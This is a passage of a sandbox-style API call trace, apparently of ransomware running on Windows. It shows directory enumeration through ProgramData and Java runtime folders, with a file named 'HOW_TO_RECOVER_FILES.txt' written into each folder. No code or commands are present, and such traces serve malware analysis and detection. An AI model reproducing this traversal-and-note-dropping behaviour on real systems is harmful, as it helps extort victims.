ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 1 [0109.551] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 0 [0109.551] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0109.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0109.553] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOShared\\Logs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOShared\\Logs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x36 [0109.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0109.553] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\usoshared\\logs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0109.747] GetFileType (hFile=0x7b4) returned 0x1 [0109.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0109.747] GetFileType (hFile=0x7b4) returned 0x1 [0110.027] WriteFile (in: hFile=0x7b4, lpBuffer=0x356bef8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x356bef8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0110.028] CloseHandle (hObject=0x7b4) returned 1 [0110.029] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOShared\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOShared\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0110.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0110.029] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\usoshared\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0110.029] GetFileType (hFile=0x7b4) returned 0x1 [0110.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0110.029] GetFileType (hFile=0x7b4) returned 0x1 [0110.030] WriteFile (in: hFile=0x7b4, lpBuffer=0x356f710*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x356f710*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0110.070] CloseHandle (hObject=0x7b4) returned 1 [0110.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0110.070] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts", lpFilePart=0x0) returned 0x2c [0110.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.073] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.073] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0110.073] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0110.073] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0110.073] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1 [0110.074] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1 [0110.074] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1 [0110.074] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1 [0110.074] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1 [0110.074] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.074] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0110.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0110.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0110.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts", lpFilePart=0x0) returned 0x2c [0110.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.076] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.076] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0110.077] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0110.077] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0110.077] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1 [0110.077] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1 [0110.077] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1 [0110.077] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1 [0110.078] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1 [0110.078] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 0 [0110.078] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0110.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0110.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0110.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0110.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0110.081] GetFileType (hFile=0x7b4) returned 0x1 [0110.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0110.081] GetFileType (hFile=0x7b4) returned 0x1 [0110.081] WriteFile (in: hFile=0x7b4, lpBuffer=0x35bed10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x35bed10*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0110.083] CloseHandle (hObject=0x7b4) returned 1 [0110.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0110.083] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images", lpFilePart=0x0) returned 0x2d [0110.083] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.084] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.084] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0110.084] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 0 [0110.084] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0110.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0110.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0110.085] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images", lpFilePart=0x0) returned 0x2d [0110.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.085] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.085] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0110.085] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.085] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0110.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0110.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0110.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors", lpFilePart=0x0) returned 0x35 [0110.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.088] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 